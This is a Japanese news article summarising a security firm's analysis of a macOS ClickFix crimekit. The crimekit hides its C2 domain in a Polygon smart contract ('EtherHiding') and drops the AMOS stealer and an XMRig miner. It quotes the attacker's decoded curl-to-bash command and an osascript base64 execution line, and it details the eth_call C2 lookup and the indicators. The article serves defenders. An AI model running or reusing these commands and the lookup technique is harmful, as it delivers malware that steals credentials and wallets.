macOS向けClickFix犯罪キットが「EtherHiding」でC2を隠蔽 — Polygonスマートコントラクトからドメインを取得、AMOS・XMRigを展開

マレーシアのセキュリティ企業 NetbyteSEC は2026年8月20日（現地時間）、macOSユーザーを狙うClickFix（クリックフィックス）犯罪キットの詳細な分析を公開した。攻撃者はPolygonブロックチェーン上のスマートコントラクトにC2（指令統制サーバー）のドメインを格納し、感染時に読み出す**「EtherHiding」**手法を悪用している。NetbyteSECによると、現在のライブC2は 67sixcebeh.surf で、スマートコントラクト 0xa3a603f8a454a9c905b4c579bb72628f7c15c2a0 に格納されている。

ClickFixは、偽のCAPTCHA画面でユーザー自身に悪意あるコマンドをコピー＆ペーストさせるソーシャルエンジニアリング手法だ。ブラウザのダウンロードを介さず、ユーザー自身の手でコードを実行させるため、macOSのGatekeeperなどの保護機構を迂回する点が特徴となっている。

感染チェーンの全体像

NetbyteSECが2026年7月に調査した事例では、攻撃はCloudflare Pages上の 25382ea9.trustkey-otcheckv1.pages.dev というドメインでホストされた偽の「TrustKey」認証ページから始まる。ページは一見すると通常の「私はロボットではありません」チェックボックスを表示するが、チェックを入れるとターミナルを開き、トークンを貼り付けて実行するよう指示するパネルが展開される。

被害者が指示に従ってクリップボードにコピーされた「トークン」をターミナルに貼り付けると、実際には攻撃者のコマンドが実行される。被害者はファイルをダウンロードした覚えがないまま、自身の手でペイロードの実行を許してしまう。

罠の詳細

NetbyteSECによると、攻撃ページは以下の点で被害者の警戒を下げている。

• 「個人データは収集しません — セッションはプライベートのままです」という文言で疑念を和らげる
• フッターのRay IDがCloudflareの正規のチャレンジページを模倣し、正当性を装う
• クリップボードへのコピーはチェックボックスをクリックした瞬間に背後で行われる

ステージ1：クリップボードのコマンドとCloudflare Worker

被害者のクリップボードに置かれるコマンドは、デコードすると以下の内容になる。

curl -s 'https://black-feather-9cfd.adrianroy-01.workers.dev' | bash

このコマンドはCloudflare Worker上の black-feather-9cfd.adrianroy-01.workers.dev にアクセスし、Workerが返したレスポンスをそのまま bash にパイプして実行する。ファイルとして保存せず、メモリ上で直接実行されるため、痕跡が残りにくい。

Workerが返すペイロードの先頭は以下のように osascript を呼び出す。

osascript -e "$(echo "<base64>" | base64 -d)"

osascript はmacOSに標準で含まれる /usr/bin/osascript という正規のコマンドで、AppleScriptやJavaScript for Automationを実行できる。NetbyteSECは、osascriptがbase64でデコードされた入力を実行する点が、macOSを標的としている明確な手がかりだと説明している。なおWindowsのClickFixでは、同等の正規インタプリタとして PowerShell が悪用されることが多い。

Workerの本体は base64の中にAppleScript、さらにその中にLaunchAgentのplistを抱える入れ子構造 となっている。NetbyteSECは 実行せずに各層をデコードしてファイルに展開 することで、永続化とローダーの実体を抽出した。

永続化と難読化

AppleScriptは LaunchAgentのplistを書き込み、読み込むことで永続化を実現する。plistの RunAtLoad と KeepAlive により、システム起動時や条件に応じた自動再起動が設定される。NetbyteSECによると、実行チェーンは大半がメモリ常駐だが、永続化はファイルシステム上の実際のplistとして残るため、検知やハンティングで valuable な痕跡になる。

ローダーは1文字ずつ文字列を組み立てる難読化を施し、数値のゴミデータを混在させることで静的検知を回避している。NetbyteSECは難読化を解除して本来の文字列を復元し、検証済みだと述べている。

ステージ2：EtherHiding — PolygonスマートコントラクトからC2を取得

ローダーの核心は、Polygonの公開RPCエンドポイントに問い合わせ、スマートコントラクトから現在のC2ホスト名を取得する処理にある。

EtherHiding は、C2アドレスを公開ブロックチェーン上のスマートコントラクトのストレージに格納し、実行時に読み出す手法だ。NetbyteSECによると、読み出しは eth_call という読み取り専用の呼び出しで行われるため、トランザクションは発生せず、ガス代もウォレットも不要で、チェーン上に読み取りの痕跡は残らない。

一方で、防御側にとってはサンプル内にブロックすべき固定のドメインやIPが含まれないため、静的なブロックが困難になる半面、同じリクエストを再現すれば防御側もC2を取得できるという両面性がある。

実際のリクエスト

NetbyteSECが再現したリクエストは以下の通りだ。

フィールド	値	意味
method	eth_call	読み取り専用のコントラクト呼び出し。トランザクションは記録されない
params[0].to	0xa3a603f8a454a9c905b4c579bb72628f7c15c2a0	C2を格納するEtherHidingコントラクトのアドレス
params[0].data	0x2686ecea	C2取得関数の4バイトセレクタ（引数なし）
params[1]	latest	最新のチェーン状態を参照
RPCエンドポイント	polygon.drpc.org など	Polygonの公開RPC。NetbyteSECによると、ローダーは複数の公開エンドポイントをループする

コントラクトはC2ホスト名を16進数で返し、NetbyteSECのライブクエリでは長さ 0x0f（15バイト）、データ 363773697863656265682e73757266 を 67sixcebeh.surf とデコードしている。

NetbyteSECはPolygonscan上でも同じC2を確認できると説明している。オペレーターがC2を更新する際の Set Server URLトランザクションの _serverURL 引数が、エクスプローラーのABIデコードにより平文の 67sixcebeh.surf として表示されるためだ。

C2ローテーションの履歴がブロックチェーンに残る

C2の変更はすべてトランザクションとしてブロックチェーンに永続的に記録されるため、オペレーターの運用履歴を追跡できる。NetbyteSECは Blockscout API を用いてオペレーターウォレット 0x363aeaf1f67f1fb7abddc3f9806a301f1c64abe3 の取引履歴を取得し、2026年5月1日から7月21日までに21回以上のC2ローテーションを確認している。

初期の rutube.ru、facebook.com、vk.com などはテストとみられ、2026年5月18日の xuiaxwx.com を最初の実運用C2として、gesck4m.pro、sj98xe4.xyz、smdh7.surf などへとローテーションが続く。2026年7月21日06:22（UTC）時点で 67sixcebeh.surf が最新のライブC2となっている。NetbyteSECは、再利用されたドメイン（sj98xe4.xyz、apdhlhs3.xyz）や短期間での再設定も確認していると報告している。

ステージ3〜5：永続バックドアとペイロード

C2の取得に成功したローダーは、レスポンスをそのまま osascript にパイプして実行する。以降の段階で、以下のペイロードが展開される。

• bmodule — 永続的なバックドアエージェント：LaunchAgentとして常駐し、C2との通信を維持する
• smodule — 完全版AMOSスティーラー：macOS向けの情報窃取マルウェア Atomic macOS Stealer（AMOS） のフル機能版。暗号資産ウォレットや認証情報を窃取する
• lmodule — 軽量版AMOSスティーラー：AMOSの軽量版
• ledger + xmr — XMRig暗号資産マイナー：XMRigを用いた暗号資産のマイニング

NetbyteSECは、これらのペイロードが最終的に窃取したデータをC2へ外部送信（Exfiltration）すると説明している。

なぜ防御側が注目すべきか

NetbyteSECは、通常のMacが突然PolygonのブロックチェーンへRPCリクエストを送ること自体が異常な挙動であり、検知の手がかりになると指摘している。公開RPCエンドポイント（polygon.drpc.org、polygon.publicnode.com など）は正規の暗号資産アプリも利用する正当なインフラだが、一般的なmacOS端末がこれらへPOSTする通信は、EtherHidingの兆候として監視可能だ。

同社はMITRE ATT&CKへのマッピングとして、T1071.001 Web Protocols などを挙げている。

NetbyteSECが推奨する対策

NetbyteSECは、論文中で以下の点を推奨している。

• ClickFixの手口を周知し、ユーザーにターミナルへの貼り付けや curl | bash パイプラインの実行をさせないよう教育すること
• LaunchAgentのplist作成や osascript による base64 デコード実行、Polygon RPCへの eth_call を監視対象とすること
• ブロックチェーンに残るC2ローテーション履歴を活用し、過去・現在のC2ドメインをブロックリストやハンティングに活用すること

出典

• NetbyteSEC「Anatomy of a macOS ClickFix Crimekit that Weaponises EtherHiding」https://notes.netbytesec.com/2026/08/anatomy-of-macos-clickfix-crimekit-that.html